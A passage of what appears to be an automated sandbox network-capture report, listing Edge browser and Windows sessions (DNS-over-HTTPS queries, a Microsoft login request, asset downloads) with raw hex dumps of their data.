38 23 79 b4 7b ed d7 0a 9b b6 7f 0e df ff 00 5d 6c e9 fa c4 f6 77 6f 26 b5 69 22 Data Ascii: ?%xk]}[GOkM6/RQU6?}R,Dd\|955^[[vBzvk1GI:ONjz-4_?T__BUO{8ALRZ%;4[< kAE)\lNwtkl8#y{]lwo&i"
2024-11-28 14:17:41 UTC	16384	IN	Data Raw: 05 df b5 17 f8 5b fb f4 eb 77 56 f9 bf e0 54 cc 2f ce bf f0 1a 78 3b 3e ef 99 52 52 63 94 af 99 bb f8 9a 92 33 bb fe 59 ed 6a 37 7e f3 72 fc cd b1 be e3 fc d4 8b 22 b7 de f2 ff 00 dc a0 09 b1 fd ef 99 a9 bf 7a 4d ad 48 ce be 5b f9 3f 37 fb 1f c3 42 be e8 1d 97 e5 6d f4 b6 1e e3 a3 2a d1 ff 00 b5 ff 00 b3 51 4b 21 5f 33 fd da 29 05 cf cc 7f 13 49 15 9c 96 36 6d 1f d9 6e 1a 65 9e 27 fb bf af bd 74 7a c6 95 17 99 36 a1 a7 c9 3d c6 a1 75 e5 fd ae e2 1f ba 9f 2d 3b e2 86 9d a7 ea d2 58 cd a9 5a 4f 61 74 f0 ab 5b c2 8f e9 d8 54 9e 1d 96 f3 49 9e ef 49 86 7d bf 6a b7 66 ff 00 73 6f 5a 98 e2 e9 d7 bc 2c d3 f3 2a 9d 55 29 38 b4 ef ae fe 5e 67 13 79 e0 dd 05 fc 7f 70 b7 d3 c7 6f 63 79 6f 23 42 e8 fb 76 49 db ff 00 1e ad 8f 0a c7 e2 3f 0b 58 bd ae 8b a9 79 b3 7d 9d Data Ascii: [wVT/x;>RRc3Yj7~r"zMH[?7BmQK!_3)I6mne'tz6=u-;XZOat[TII}jfsoZ,U)8^gypocyo#BvI?Xy}
2024-11-28 14:17:41 UTC	16384	IN	Data Raw: dc 77 39 5f 0e cf 6d e2 1f 0a cc b1 c1 f6 7d 42 27 fd ec 3b ff 00 d7 61 b8 a9 35 8f 0b b5 d5 d5 a5 e5 c5 ff 00 d9 e4 44 fd f2 27 e9 5c 7f 8d 25 b9 f0 a7 c4 e7 b7 69 2e 96 16 7d a9 33 a7 fa ef ad 6f 5d 6a ab 7f 63 35 f3 5d fd 9d ad df ca 44 47 f9 7f 3a 6a 35 a7 52 32 a4 ee 96 de 47 1a 53 8c f6 fb cd cf 1b 59 59 f8 7b c0 17 17 0b 3f 95 75 6e f1 cb 0d c6 cd de 73 1a e6 7c 2b f1 01 b5 0f 03 fd 8e f3 cb fb 74 5a a2 af 9c e9 bb 7c 7f 7b e5 ad c8 7c 43 a7 eb de 03 b8 d2 75 4d 4a 0d cc 9f 3a 27 cd b3 d0 d7 9c fd 82 0f 0f 69 5f da 1e 5b f9 70 3b 79 37 09 ff 00 2d be 6f fd 0a bd 0c 3e 22 a4 af 0a 9f 11 bb 93 e7 6d 3d 4f 79 6d 5f ed f6 2d a9 5c 49 1d d4 32 ba aa 43 b3 6e ff 00 c2 b3 b5 ed 06 7b 4f 08 eb de 28 b7 d5 a7 68 ec d1 5a de dd 1f 6a a2 8f af a7 a5 73 5f 09 Data Ascii: w9_m}B';a5D'\%i.}3o]jc5]DG:j5R2GSYY{?uns\|+tZ\|{\|CuMJ:'i_[p;y7-o>"m=Oym_-\I2Cn{O(hZjs_
2024-11-28 14:17:41 UTC	16384	IN	Data Raw: 37 f8 d1 53 ca 8a 52 6c f8 5f e1 8f 8b ed 9f c6 93 36 a9 fe 91 6f 14 cc b6 f0 a7 ca d0 fc b8 fb b5 8f fb 47 69 9f b8 b8 5d 4a d2 76 b5 95 e3 68 5e 1f bb b7 fb d5 a7 e3 0d 1f c2 fe 15 ba bb b8 92 3b ab 36 bc fd fc 37 69 f3 2f 0d f7 73 fc e9 3c 6d 7b a8 5f fc 21 d3 e1 86 e2 4b a6 bc dc af b3 fb a1 b8 5a f9 6a 14 69 ba b1 a9 4d 2e 5e ff 00 a9 9f 3c 65 0f 76 f6 8e 9d 8f 00 5b 6b 98 bc 5d f6 5d 26 d2 49 d5 51 59 36 6e fe 75 e8 1e 0d f1 25 f4 1a e6 ed 5b f7 b7 16 b3 47 04 50 a3 fc bf 9d 71 3e 28 d4 2e 60 d4 ad 23 f2 e7 b0 8d 93 ca 9a 1f 2f 6e cf c6 b4 34 1b 66 b3 d4 ad e3 64 dd e5 3a fc ef fd e3 d2 bd 29 53 f6 91 4e c9 bb 58 e8 a3 4a 55 61 cc d5 bf 3f f2 3d a3 e1 bd b6 a7 ab 78 1e fb 47 b3 92 4b 7b a4 d4 7e d3 6f b3 ee f9 67 ef 36 ef 6a ea bc 40 b3 de d8 eb 96 Data Ascii: 7SRl_6oGi]Jvh^;67i/s<m{_!KZjiM.^<ev[k]]&IQY6nu%[GPq>(.`#/n4fd:)SNXJUa?=xGK{~og6j@
2024-11-28 14:17:41 UTC	16067	IN	Data Raw: cd 1e e9 3f b9 fd ca 63 06 69 3e 6f 2f fd 87 fe 2a 5f dd af cc df 79 93 6a 52 28 d9 bd a3 f9 96 54 fb ff 00 dc a0 3d 49 94 7e f3 77 9f e5 37 fe cd 56 be c9 bb fd 4f 99 f7 f7 7c 89 fc 46 a0 86 39 5f 7b 5b c7 23 2c 4f 5b 1e 1f b4 b9 4d 92 37 99 b7 e6 ac 6a 4a ca e6 f4 69 f3 3b 58 ce 8e c2 e5 7e 55 83 6f c9 f3 a5 36 ea ce e6 28 7e 68 24 ff 00 6f fd ba ec 63 f9 7e 56 fb df 79 3f 0a 93 f7 0d 1e df 93 e6 db 5c df 59 68 ee 58 38 3e a7 0a de 6f 97 b9 63 93 ef ff 00 c0 9e a0 53 2f c9 ff 00 3c ff 00 f1 ea f4 5f 2a 0f 2d 95 a3 8e ab 4d 67 6d 2c 9b 56 df e5 fe fd 52 c5 2e c4 bc 0a e9 23 83 85 f6 ee db f2 aa ff 00 7e 98 ce df c5 27 cc bf fa 15 75 77 9e 1e b6 9e 47 68 64 92 26 df 59 b7 9e 1e fb 3c 7f bb 91 db 6f df fe 1e b5 d1 1c 44 24 72 d4 c2 54 8f 99 8e cf b6 3d df Data Ascii: ?ci>o/_yjR(T=I~w7VO\|F9_{[#,O[M7jJi;X~Uo6(~h$oc~Vy?\YhX8>ocS/<_-Mgm,VR.#~'uwGhd&Y<oD$rT=
2024-11-28 14:17:41 UTC	16384	IN	Data Raw: ff 00 1f a2 f3 fc 27 d6 bd 68 d6 c5 be 47 1b 36 b7 5f a9 75 15 59 79 be ab cc f2 5f 0b c7 14 9a 3e a1 75 24 7b 64 59 96 2f 9f f8 37 55 98 6c 57 cb 86 f2 6f bd fe df f1 d5 cd 37 c3 fa e6 9b e1 cd 67 fb 5a 0d ad 2b ac ef 0e cf 9b 6f f7 bf dd ac ed 2d e2 8a 75 66 93 cd b5 d9 f2 27 d7 b5 7d 3d 1a 90 9a 4e 25 59 dd ea 69 68 36 cc fe 24 b4 8e 19 e0 fd fd c2 ec 74 ff 00 6b b1 af a2 3e 10 f8 73 4c 9e d2 e3 4d ba 9f 75 bd 9b c9 f6 88 76 6e 6d ca be f5 e3 7a 7e 9f 07 87 3c 55 a7 dc 4d 69 f6 fd 26 f2 dd 7e 7f ee 49 e9 fe f5 7b 0f 80 65 bc 4f 10 5d ac 73 f9 b0 de 68 d2 4a 9b 3f bc ad b7 ef 7d 0d 6a b7 d4 dd 5d 45 f7 29 7c 40 9e 2b 5d 72 d3 5c b3 8f 6c cb 0a c5 0c d0 fc bf bb 1f 2a ee 51 c7 0b 5a 96 76 11 2e 87 fd a5 7d 3a 4a cb 0d c3 79 2f f7 b8 5c 74 3f ef 57 2f ac Data Ascii: 'hG6_uYy_>u${dY/7UlWo7gZ+o-uf'}=N%Yih6$tk>sLMuvnmz~<UMi&~I{eO]shJ?}j]E)\|@+]r\l*QZv.}:Jy/\t?W/
2024-11-28 14:17:41 UTC	16384	IN	Data Raw: 96 65 0d c6 6b da ab 52 55 21 a4 75 0a b5 23 0a 6e 0a 37 6f 7f 43 4f c3 31 ea fe 14 f1 55 8c 8b 77 06 a3 a4 dd 22 c5 71 f6 79 fe 57 6f f6 f6 f5 35 ea fa f7 86 ec ee b4 37 d4 34 7d 5a 05 8e 5b 75 82 ee 6f 99 57 71 fe 1a e2 fc 2b 79 a1 bc 76 96 77 d6 1e 55 d5 c3 f9 bb 13 fd 53 fc bf 7a 3f f6 bd 45 74 1a 6f 8b d7 48 f0 05 c6 86 d0 41 79 a6 dc 5d c9 3c c8 89 fb d4 5d df 70 7f 77 d6 b2 a3 cd 51 f3 3d 2d a3 f3 5d cd 28 d4 a7 2a 6d cb 75 f7 12 4d a6 2e 85 e0 39 ae a3 9e e9 6d 5e 68 e0 85 e1 f9 b7 c8 7e fe 31 eb 57 34 bb db 6b 8b 19 ac 7c 4d 63 25 c5 8d c7 cd f6 8f 9b cd b5 6e 9b a2 6f 5f ad 62 f8 2e db c4 70 5f 5a 58 e9 77 f7 56 1a 1d ff 00 ef 5d ee 27 5d a9 19 e7 6f fb bb 7d 2b 23 e2 05 e6 af 37 88 3f b0 d6 fe 4b 5b 78 91 55 13 fb fb fb a7 ae e1 5a d2 97 b4 6b Data Ascii: ekRU!u#n7oCO1Uw"qyWo574}Z[uoWq+yvwUSz?EtoHAy]<]pwQ=-](*muM.9m^h~1W4k\|Mc%no_b.p_ZXwV]']o}+#7?K[xUZk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49846	162.159.61.3	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 14:17:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 14:17:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 14:17:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9afb9f3874c42c-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 14:17:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 25 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom%Q)

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49842	40.126.53.19	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-28 14:17:40 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 14:17:41 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 14:16:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: 7602251b-4b21-4f5d-93e1-51218febb672 PPServer: PPV: 30 H: SN1PEPF0002F0DB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 14:17:41 GMT Connection: close Content-Length: 11410
2024-11-28 14:17:41 UTC	11410	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49847	172.64.41.3	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 14:17:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49852	13.107.246.40	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:43 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:43 UTC	583	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:43 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: 69e5da98-701e-004a-537d-415860000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T141743Z-174f784596886s2bhC1EWR743w0000000ymg0000000066vk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 14:17:43 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-28 14:17:43 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-28 14:17:43 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-28 14:17:43 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-28 14:17:43 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49853	13.107.246.40	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:43 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:43 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:43 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5f8eb5f8-301e-0064-07ed-40d8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T141743Z-174f7845968n2hr8hC1EWR9cag0000000y5000000000a097 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 14:17:43 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu 